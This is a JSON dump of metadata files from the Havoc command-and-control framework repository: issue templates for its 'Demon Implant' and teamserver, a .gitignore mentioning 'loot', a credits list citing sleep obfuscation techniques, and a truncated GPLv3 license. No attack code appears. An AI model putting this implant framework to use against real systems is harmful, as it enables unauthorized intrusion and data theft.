[
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: [Cracked5pider]\npatreon: 5pider\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Bug_Report-Demon.yml",
    "content": "name: Demon-Implant Bug Report\ndescription: File a bug report for the Demon Implant\ntitle: \"[File a bug report for the Demon Implant]: \"\nlabels: [\"bug\"]\nassignees: \n  - C5pider\nbody: \n  - type: markdown\n    attributes:\n      value: \"Thanks for taking the time to fill out this bug report!\"\n  - type: textarea\n    id: what-happened\n    attributes: \n      label: \"What happened?\"\n      description: \"Also tell us, what did you expect to happen?\"\n      placeholder: \"Tell me about the numbers Mason!\"\n      value: \"A bug happened!\"\n    validations: \n      required: true\n  - type: dropdown\n    id: branch\n    attributes: \n      label: Did You Try With the Dev Branch?\n      description: \"This branch has the latest features and fixes so it might solve your problem\"\n      options: \n        - \"Yes (You tried using the dev branch but the problem persists)\"\n        - \"No (You only tried the main branch...)\"\n    validations: \n      required: true\n  - type: textarea\n    id: logs\n    attributes: \n      description: \"Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.\"\n      label: \"Relevant log output\"\n      render: shell\n  - type: checkboxes\n    id: terms\n    attributes: \n      label: Did You Read Over Your Issue First?\n      description: \"By submitting this issue, you confirm you posted replication steps and information about the issue, so that it may be fully understood .\"\n      options: \n        - label: \"I declare I made an effort and provided the necessary information for replication of the issue.\"\n          required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Bug_Report-Documentation.yml",
    "content": "name: Documentation Bug Report\ndescription: File a bug report for the Documentation relating to the Havoc Framework.\ntitle: \"[File a bug report for the Havoc Framework Documentation]: \"\nlabels: [\"documentation\"]\nassignees: \n  - C5pider\nbody: \n  - type: markdown\n    attributes: \n      value: \"Thanks for taking the time to fill out this bug report!\"\n  - type: input\n    id: contact\n    attributes: \n      label: \"Contact Details\"\n      description: \"How can we get in touch with you if we need more info?\"\n      placeholder: \"ex. email@example.com\"\n    validations: \n      required: false\n  - type: textarea\n    id: what-grammar\n    attributes: \n      label: \"What's the issue?\"\n      description: \"Also tell us, what should it be?\"\n      placeholder: \"Tell me about the numbers Mason!\"\n      value: \"You mispelled 'cat'!\"\n    validations: \n      required: true\n  - type: dropdown\n    id: version\n    attributes: \n      label: Did You Do a Pull First?\n      description: \"If this isn't related to the github wiki, What version of our software are you running?\"\n      options: \n        - \"Latest (You performed a pull first)\"\n        - \"Anything else (You didn't pull...)\"\n    validations: \n      required: true\n  - type: checkboxes\n    attributes: \n      label: Did You Read Over Your Issue First?\n      description: \"By submitting this issue, you declare you fully thought about your suggestion and have read it aloud back to yourself and made sure it sounds alright.\"\n      options: \n        - \n          label: \"I declare I made an effort and provided the necessary information for identification and remediation of the issue.\"\n          required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Bug_Report-Teamserver-Client.yml",
    "content": "name: \"Teamserver/Client Bug Report\"\ndescription: File a bug report for the Teamserver client relating to the Havoc Framework.\ntitle: \"[Teamserver-Client--Bug]: \"\nlabels: [\"clientside/teamserver\"]\nassignees: \n  - C5pider\nbody: \n  - type: markdown\n    attributes: \n      value: \"Thanks for taking the time to fill out this bug report!\"\n  - type: input\n    id: contact\n    attributes: \n      label: \"Contact Details\"\n      description: \"How can we get in touch with you if we need more info?\"\n      placeholder: \"ex. email@example.com\"\n    validations: \n      required: false\n  - type: textarea\n    id: what-happened\n    attributes: \n      description: \"Also tell us, what did you expect to happen?\"\n      label: \"What happened?\"\n      placeholder: \"Tell me about the numbers Mason!\"\n      value: \"A bug happened!\"\n    validations: \n      required: true\n  - type: dropdown\n    id: version\n    attributes: \n      description: \"What version of our software are you running?\"\n      label: Did You Do a Pull First?\n      options: \n        - \"Latest (You performed a pull first)\"\n        - \"Anything else (You didn't pull...)\"\n    validations: \n      required: true\n  - type: dropdown\n    id: branch\n    attributes: \n      label: Did You Try With the Dev Branch?\n      description: \"This branch has the latest features and fixes so it might solve your problem\"\n      options: \n        - \"Yes (You tried using the dev branch but the problem persist)\"\n        - \"No (You only tried the main branch...)\"\n    validations: \n      required: true\n  - type: textarea\n    id: logs\n    attributes: \n      label: \"Relevant log output\"\n      description: \"Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.\"\n      render: shell\n  - type: checkboxes\n    id: checkboxes\n    id: terms\n    attributes: \n      description: \"By submitting this issue, you declare you posted replication steps and information about the issue, so that it may be fully understood .\"\n      label: Did You Read Over Your Issue First?\n      options: \n        - label: \"I declare I made an effort and provided the necessary information for replication of the issue.\"\n          required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/Feature_Suggestion.yml",
    "content": "name: Feature Suggestion\ndescription: File a feature suggestion for the Havoc Framework\ntitle: \"[Feature Suggestions/Enhancements]: \"\nlabels: [\"enhancement\"]\nassignees:\n  - C5pider\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to suggest a feature!\n  - type: input\n    id: contact\n    attributes:\n      label: Contact Details\n      description: How can we get in touch with you if we need more info?\n      placeholder: ex. email@example.com\n    validations:\n      required: false\n  - type: textarea\n    id: what-is\n    attributes:\n      label: What is the idea?\n      description: Please expound on it, and list any supporting resources that be helpful.\n      placeholder: Tell me what the numbers mean Mason!\n      value: \"You should convert the teamserver to C++\"\n    validations:\n      required: true\n  - type: dropdown\n    id: version\n    attributes:\n      label: Is_it_already_in?\n      description: Does the feature already exist in Havoc?\n      options:\n        - No (You checked and it doesn't.)\n        - Yes (You didn't check...)\n    validations:\n      required: true\n  - type: textarea\n    id: logs\n    attributes:\n      label: Relevant code samples\n      description: Please insert any relevant code you think may be helpful in understanding/implementing the feature. This will be automatically formatted into code, so no need for backticks. If you already have a feature built and would like to add it to the project, please make a pull request instead.\n      render: shell\n  - type: checkboxes\n    id: terms\n    attributes:\n      label: Are-You-Trolling?\n      description: By submitting this issue, you declare you are making a sincere effort towards improving the functionality/feature set of the Havoc Framework..\n      options:\n        - label: I declare I made an effort and provided the necessary information for an understanding of the feature by the Framework authors.\n          required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "--- \nblank_isues_enabled: false\ncontact_links: \n  - \n    about: \"The official Havoc Framework Project's discord server\"\n    name: \"Havoc Framework Discord\"\n    url: \"https://discord.gg/X5TYNCpXkD\"\n"
  },
  {
    "path": ".gitignore",
    "content": "# ignore .idea\n*/.idea/\n\n# ignore cmake generated stuff\nClient/Build\n**/cmake-build-debug/\n\n# dont commit your loot\nTeamserver/data/loot/\n\n# dont commit your secrets\nClient/Data/database.db\n\n# ignore go stuff\nTeamserver/go.sum\n\n# ignore compiled binaries\nClient/Havoc\nTeamserver/teamserver\n\n# ignore MUSL C Compiler stuff\nTeamserver/data/x86_64-w64-mingw32-cross/\n\n# ignore havoc binary\nhavoc\n\n# ignore data directory\ndata/\n\n# ignore client directories\nclient/Build/\nclient/Havoc\nclient/Modules/\n"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"client/external/spdlog\"]\n\tpath = client/external/spdlog\n\turl = https://github.com/gabime/spdlog\n[submodule \"client/external/json\"]\n\tpath = client/external/json\n\turl = https://github.com/nlohmann/json\n[submodule \"client/external/toml\"]\n\tpath = client/external/toml\n\turl = https://github.com/ToruNiina/toml11\n"
  },
  {
    "path": "CONTRIBUTING.MD",
    "content": "# Guide to Contributing\n\n### Pushing Changes to `dev`\n- It is preferred that new changes are pushed to a new branch, and then a pull request is made to merge that new branch back into Main/Master\n- Steps:\n\t1. Create a new local branch:\n\t\t* `git switch -c <new_branch_name>`\n\t2. Confirm the new branch was created:\n\t\t* `git branch -a`\n\t3. Confirm the upstream branch you'll be committing to and make a push:\n\t\t* `git push -set-upstream origin <new_branch_name>`\n"
  },
  {
    "path": "CREDITS.md",
    "content": "# Credits\n\nIn this file i give credits to those people who helped me working on this project.\n\n- [Austin Hudson](https://twitter.com/ilove2pwn_) \n    A lot of the code and ideas are based on his projects. Foliage is one of the sleep obfuscation techniques used by the havoc agent.\n\n- [Bobby Cooke](https://twitter.com/0xBoku)\n    A lot of techniques used are based on his projects. \n\n- [Codex](https://twitter.com/codex_tf2)\n    Contributed and tested the C2 for flaws and bugs. \n\n- [Robert Musser](https://twitter.com/r_o_b_e_r_t_1)\n    Contributed and tested the C2 for flaws and bugs. Added Docker support. \n\n- [Adam Svoboda](https://twitter.com/adamsvoboda)\n    Contributed and tested the C2 for flaws and bugs. Worked on the wiki for the api, service and profiles. \n\n- [trickster0](https://twitter.com/trickster012)\n    Contributed and tested the C2 for flaws and bugs.\n\n- [Raul • theg3ntl3m4n](https://twitter.com/theg3ntl3m4n)\n    Contributed and tested the C2 for flaws and bugs.\n\n- [Zach Fleming](https://twitter.com/The___Undergrad)\n    Contributed and tested the C2 for flaws and bugs.\n\n- [Shawn (anthemtotheego)](https://twitter.com/anthemtotheego)\n    Contributed and tested the C2 for flaws and bugs.\n\n- [chbGSmCm](https://github.com/chbGSmCm)\n    Contributed and tested the C2 for flaws and bugs.\n\n- [Laith Yassin](https://twitter.com/LaithYassin13)\n    Logo Designer.  \n\n- [Fawaz - بوجابر](https://twitter.com/q8fawazo)\n    Contributed and tested the C2 for flaws and bugs.\n\n- [Giorgos Karantzas](https://twitter.com/GeKarantzas) & [Constantinos Patsakis](https://twitter.com/kpatsak) of University of Piraeus: \n    Various forms of generic\\academic help during a past research engagement. Note: All experimentation took place prior to April 2022\n\n- [@infosecnoodle](https://twitter.com/infosecnoodle)\n  Designed session graph/table agent icons (with lighting bolt effects for high elevated targets)\n\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE 